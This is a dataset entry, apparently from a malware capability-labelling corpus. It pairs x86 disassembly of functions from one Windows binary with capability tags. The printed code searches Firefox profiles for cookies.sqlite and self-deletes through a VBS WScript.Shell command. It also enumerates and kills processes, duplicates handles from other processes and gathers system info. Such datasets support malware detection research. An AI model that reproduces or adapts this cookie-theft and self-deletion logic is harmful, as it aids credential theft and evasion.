joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c29b
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.0043c00f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040417e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.00409052
lea eax, [ebp - 0x2e0]
push eax
push 0x4665e8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040915b
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401f09
cmp edi, 0xffffffff
jne 0x40c30f
push 0x466468
mov ecx, esi
call fcn.0040417e
jmp 0x40c3e5
lea ecx, [ebp - 0x48]
call fcn.004020df
jmp 0x40c3b4
test byte [ebp - 0x2e0], 0x10
je 0x40c3b4
lea eax, [ebp - 0x2b4]
push 0x466528
push eax
call fcn.0043f894
pop ecx
pop ecx
test eax, eax
je 0x40c3b4
lea eax, [ebp - 0x2b4]
push 0x46660c
push eax
call fcn.0043f894
pop ecx
pop ecx
test eax, eax
je 0x40c3b4
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040915b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40c3f5
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x40c31c
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push 0x466468
mov ecx, esi
call fcn.0040417e
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401f09
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403262
lea ecx, [ebp - 0x30]
call fcn.00401f09
jmp 0x40c3dd
Function at 0x40cfb7
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x475320
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [0x472d44], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x40d74d
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.0041279e
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.00413646
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d7ad
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041b8c6
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041bbac
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466608
push 0x466f88
call fcn.0043c00f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467130
push 0x467134
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00409052
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c33f
pop ecx
pop ecx
test al, al
je 0x40d918
push edi
mov eax, 0x466468
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d918
push edi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40f84b
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.004020df
call fcn.0041bf05
push 0
push 2
mov byte [0x474af4], al
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40fa59
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
je 0x40fa52
mov ebp, 0x4674c0
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.0040417e
mov ecx, dword [esp + 0x168]
push 0x4674bc
call fcn.0041bf33
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.0041badc
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.0041badc
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.0041c12b
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.0041bc6c
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.0041bc6c
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.00406362
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00406383
pop ecx
push eax
mov ecx, edi
call fcn.00401fe2
lea ecx, [esp + 0x28]
call fcn.00401fd8
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x70]
call fcn.00401fd8
lea ecx, [esp + 0x88]
call fcn.00401fd8
lea ecx, [esp + 0xa0]
call fcn.00401fd8
lea ecx, [esp + 0xb8]
call fcn.00401fd8
lea ecx, [esp + 0xd0]
call fcn.00401fd8
lea ecx, [esp + 0xe8]
call fcn.00401fd8
lea ecx, [esp + 0x100]
call fcn.00401fd8
lea ecx, [esp + 0x118]
call fcn.00401f09
lea ecx, [esp + 0x130]
call fcn.00401fd8
lea ecx, [esp + 0x148]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401f09
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x40f8af
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0x41279e
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0x472d64]
mov byte [0x472d4b], 0
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0xffffffffffffffff
push dword [0x472d64]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x413220
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0x218
cmp dword [0x474b28], 0
mov eax, ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
jne 0x413241
push 0xfffffffffffffffc
pop eax
jmp 0x413347
call fcn.004133c0
test eax, eax
jne 0x413252
or eax, 0xffffffff
jmp 0x413347
push esi
push eax
push 0
push 0x440
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
jne 0x41326f
push 0xfffffffffffffffe
pop eax
jmp 0x413346
push ebp
push edi
mov edi, 0x400
push edi
mov dword [esp + 0x10], edi
call fcn.0043bc91
jmp 0x4132a4
push ebp
cmp eax, 0xc0000004
jne 0x41334e
call fcn.0043bc8c
mov eax, dword [esp + 0x10]
add eax, edi
push eax
mov dword [esp + 0x14], eax
call fcn.0043bc91
pop ecx
pop ecx
mov ebp, eax
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push ebp
push 0x33
push esi
call dword [0x474b24]
test eax, eax
js 0x413282
xor edi, edi
push ebx
cmp dword [ebp], edi
jbe 0x413339
lea ebx, [ebp + 8]
push 2
push 0
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
push dword [ebx]
push esi
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
test eax, eax
je 0x413330
push 0x208
lea eax, [esp + 0x24]
push 0
push eax
call fcn.00436dd0
add esp, 0xc
lea eax, [esp + 0x20]
push 0
push 0x104
push eax
push dword [esp + 0x20]
call dword [0x474b28]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
call fcn.0043f894
pop ecx
pop ecx
test eax, eax
je 0x413359
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc edi
add ebx, 0x1c
cmp edi, dword [ebp]
jb 0x4132c9
push ebp
call fcn.0043bc8c
pop ecx
push 0xfffffffffffffffd
pop eax
pop ebx
pop edi
pop ebp
pop esi
add esp, 0x218
ret
call fcn.0043bc8c
xor eax, eax
pop ecx
inc eax
jmp 0x413344
xor edi, edi
push edi
push edi
push edi
push 2
push edi
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
push edi
push edi
push edi
mov ebx, eax
push 4
push ebx
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
push edi
push dword [esp + 0x18]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
push edi
call fcn.0043bc91
mov ecx, dword [esp + 0x20]
push edi
push esi
push eax
mov dword [ecx], eax
call fcn.00436850
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call ebx
push dword [esp + 0x14]
call ebx
push ebp
call fcn.0043bc8c
pop ecx
mov eax, edi
jmp 0x413343

Function at 0x41344d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x413490
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x413492
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x414622
Capabilities:
Resolve dns

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
push ecx
and dword [ebp], 0
mov dword [esp + 0x14], edx
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x4146a0
cmp word [esi + 8], 2
jne 0x414682
push 4
pop eax
cmp word [esi + 0xa], ax
jne 0x414682
mov edi, dword [esi + 0xc]
jmp 0x41467c
push dword [eax]
mov edx, dword [esp + 0x1c]
push dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
call fcn.004145bb
mov dword [ebp], eax
test eax, eax
je 0x41469b
lea ebp, [eax + 0x1c]
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x41465c
push 0x400
push dword [esi]
push 0x401
push ebx
call fcn.00441973
add esp, 0x10
xor eax, eax
jmp 0x4146be
push 8
pop eax
jmp 0x4146be
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x2af9
sub eax, ecx
je 0x4146bc
sub eax, 1
je 0x4146cd
sub eax, 1
je 0x4146c6
sub eax, 1
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0x10
mov eax, 0x2afb
jmp 0x4146be
mov eax, 0x2afa
jmp 0x4146be

Function at 0x414cd4
Capabilities:
Get common file path

Disassembly:
sub esp, 0x22c
cmp dword [0x476b38], 0
mov dword [esp], str.getaddrinfo
mov dword [esp + 4], 0x414858
mov dword [esp + 8], str.getnameinfo
mov dword [esp + 0xc], 0x414afe
mov dword [esp + 0x10], str.freeaddrinfo
mov dword [esp + 0x14], fcn.0041481d
jne 0x414e2b
push 0x104
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
test eax, eax
je 0x414e21
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x134]
mov ebx, 0x10c
push eax
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.0044197e
push str.ws2_32
lea eax, [esp + 0x38]
push ebx
push eax
call fcn.004419d8
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
mov ebp, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
xor edi, edi
test esi, esi
je 0x414d94
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x414d90
push esi
call ebp
mov esi, edi
test esi, esi
jne 0x414de5
lea eax, [esp + 0x134]
mov esi, 0x10c
push eax
lea eax, [esp + 0x2c]
push esi
push eax
call fcn.0044197e
push str.wship6
lea eax, [esp + 0x38]
push esi
push eax
call fcn.004419d8
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x414e1d
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x414de1
push esi
call ebp
mov esi, edi
test esi, esi
je 0x414e1d
mov ebx, edi
push dword [esp + ebx*8 + 0x10]
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp + ebx*8 + 0x14], eax
test eax, eax
je 0x414e02
inc ebx
cmp ebx, 3
jl 0x414de7
jmp 0x414e07
push esi
call ebp
mov esi, edi
test esi, esi
je 0x414e1d
mov eax, dword [esp + edi + 0x14]
mov dword [edi + 0x4719f8], eax
add edi, 8
cmp edi, 0x18
jl 0x414e0b
pop edi
pop esi
pop ebp
pop ebx
mov dword [0x476b38], 1
mov eax, dword [0x4719f8]
add esp, 0x22c
ret
Function at 0x4173e3
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
push str._sysinfo.txt
push str.temp
call fcn.0043c00f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push ebx
push eax
mov edx, 0x46c7a8
lea ecx, [ebp - 0x30]
call fcn.0040b8ca
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
push str.dxdiag
push 0x466108
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.004020df
mov esi, ebx
lea ecx, [ebp - 0x48]
call fcn.00401f04
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.0041c3d3
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x18]
inc esi
call fcn.00406b28
test al, al
je 0x41748a
cmp esi, 0x4b0
jl 0x41745b
lea ecx, [ebp - 0x18]
call fcn.00406b28
test al, al
jne 0x41751a
lea ecx, [ebp - 0x48]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push 1
lea ecx, [ebp - 0xc8]
call fcn.004046f7
push ecx
lea ecx, [ebp - 0xc8]
call fcn.004048c8
test al, al
je 0x41750f
sub esp, 0x18
lea eax, [ebp - 0x18]
mov esi, esp
lea edx, [ebp + 8]
lea ecx, [ebp - 0x30]
push eax
push 0x474ee0
call fcn.00402f31
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f10
pop ecx
push 0x97
lea ecx, [ebp - 0xc8]
call fcn.00404aa1
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0xc8]
call fcn.00404e26
mov bl, 1
lea ecx, [ebp - 0xc8]
call fcn.00404ee2
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp + 8]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417c2d
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push 0x4660bc
call fcn.00402093
push eax
push str.Temp
call fcn.0043c01a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.004052fd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00402f10
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.00401fd8
lea ecx, [ebp - 0x84]
call fcn.00401fd8
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
lea ecx, [ebp - 0x138]
call fcn.0040fb01
lea ecx, [ebp - 0x138]
call fcn.00417e6a
test al, al
je 0x417d5e
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.00417e7a
lea ecx, [ebp - 0x138]
call fcn.0040fab2
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.00401fab
movaps xmm0, xmmword [0x46d280]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x4660a4
mov edi, 0x475630
setne bl
cmp dword [ebp - 0x1c], 0
je 0x417d48
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402093
push 0x70
mov ecx, edi
call fcn.00404aa1
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
cmp bl, 1
jne 0x417d79
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402093
push 0x6e
mov ecx, edi
jmp 0x417d74
sub esp, 0x18
mov ecx, esp
push 0x4660a4
call fcn.00402093
push 0x6f
mov ecx, 0x475630
call fcn.00404aa1
lea ecx, [ebp - 0x138]
call fcn.0040f2fe
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp + 8]
call fcn.00401fd8
lea ecx, [ebp + 0x20]
call fcn.00401fd8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41af95
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x7c
push ebx
push ebp
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
push ecx
lea ecx, [esp + 0x98]
call fcn.0041b1ea
cmp eax, 0xffffffff
jne 0x41afe2
lea ecx, [esp + 0x90]
call fcn.00401f04
push eax
mov dl, 0x30
lea ecx, [esp + 0x14]
call fcn.0040d982
pop ecx
push eax
lea ecx, [esp + 0x94]
call fcn.00401f13
lea ecx, [esp + 0x10]
call fcn.00401f09
mov ecx, esi
call fcn.0040247c
lea ecx, [esp + 0x90]
test eax, eax
je 0x41b0d6
call fcn.00401f04
mov edx, eax
mov ecx, esi
call fcn.0041c440
push str._alias_audio
mov edx, edi
lea ecx, [esp + 0x74]
call fcn.0041bbac
push eax
lea eax, [esp + 0x98]
mov edx, str.open__
push str.__type
push eax
lea ecx, [esp + 0x68]
call fcn.0040b8ca
pop ecx
mov edx, eax
lea ecx, [esp + 0x4c]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00403014
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x70]
call fcn.00401f09
xor ebx, ebx
lea ecx, [esp + 0x28]
push ebx
push ebx
push ebx
call fcn.00401f04
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov edi, 0x4660a4
mov ecx, esp
push edi
call fcn.00402093
mov ebp, 0x475980
push 0xa9
mov ecx, ebp
call fcn.00404aa1
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [0x474ad4], eax
jmp 0x41b19a
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41b006
sub esp, 0x18
mov ecx, esp
push 0x4660a4
call fcn.00402093
push 0xa8
mov ecx, 0x475980
call fcn.00404aa1
jmp 0x41b1d6
cmp byte [0x474ad1], bl
je 0x41b125
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x474ad1], bl
cmp byte [0x474ad0], bl
je 0x41b13d
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x474ad0], bl
push ebx
push 0x14
lea eax, [esp + 0x18]
push eax
push str.status_audio_mode
call esi
lea eax, [esp + 0x10]
push str.stopped
push eax
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
jne 0x41b16d
push dword [0x474ad4]
call dword [sym.imp.KERNEL32.DLL_SetEvent]
push 0x1f4
push dword [0x474ad4]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x41b195
push dword [0x474ad4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
jmp 0x41b0cc
mov eax, dword [0x474ad4]
test eax, eax
jne 0x41b10d
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
push 0xaa
mov ecx, ebp
call fcn.00404aa1
lea ecx, [esp + 0x28]
call fcn.00401f09
lea ecx, [esp + 0x90]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c
ret
Function at 0x41baaf
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x41bad7
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
mov al, bl
pop ebx
ret

Function at 0x41bf69
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
sub esp, 0x828
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], 0x105
xor esi, esi
push edi
mov ebx, esi
mov ebp, esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
test eax, eax
jle 0x41bfc7
mov eax, edi
mov dword [esp + 0x10], eax
push 2
push 0x466608
push eax
call fcn.00436f2a
add esp, 0xc
test eax, eax
jne 0x41bfae
inc ebx
cmp ebx, 3
je 0x41bfc5
add dword [esp + 0x10], 2
inc ebp
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp ebp, eax
jge 0x41bfc7
mov eax, dword [esp + 0x10]
jmp 0x41bf94
mov ebx, ebp
xor eax, eax
mov word [edi + ebx*2], ax
lea eax, [ebx*2 + 2]
push eax
lea eax, [esp + 0x634]
push edi
push eax
call fcn.00436850
add esp, 0xc
lea eax, [esp + 0x18]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstVolumeW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x41c084
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
jmp 0x41c0b6
cmp word [esp + 0x1a], ax
jne 0x41c0a0
cmp word [esp + 0x1c], 0x3f
jne 0x41c0a0
cmp word [esp + 0x1e], ax
jne 0x41c0a0
cmp word [esp + ebp*2 + 0x18], ax
jne 0x41c0a0
xor eax, eax
mov word [esp + ebp*2 + 0x18], ax
lea eax, [esp + 0x428]
push 0x64
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x41c11e
push edi
lea eax, [esp + 0x42c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x41c0d0
push 0x104
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeW]
test eax, eax
je 0x41c0c1
lea eax, [esp + 0x18]
push eax
call fcn.0043ba16
pop ecx
push 0x5c
lea ebp, [eax - 1]
pop eax
cmp word [esp + 0x18], ax
je 0x41c010
mov esi, 0xa1
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.DLL_FindVolumeClose]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x41c0a5
jmp 0x41c0a0
push 0x5c
pop eax
mov word [esp + ebp*2 + 0x18], ax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x228]
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x41c11e
lea eax, [edi + 2]
lea eax, [eax + ebx*2]
push eax
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [esp + 0x220]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
jmp 0x41c0a5
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
jmp 0x41c0a5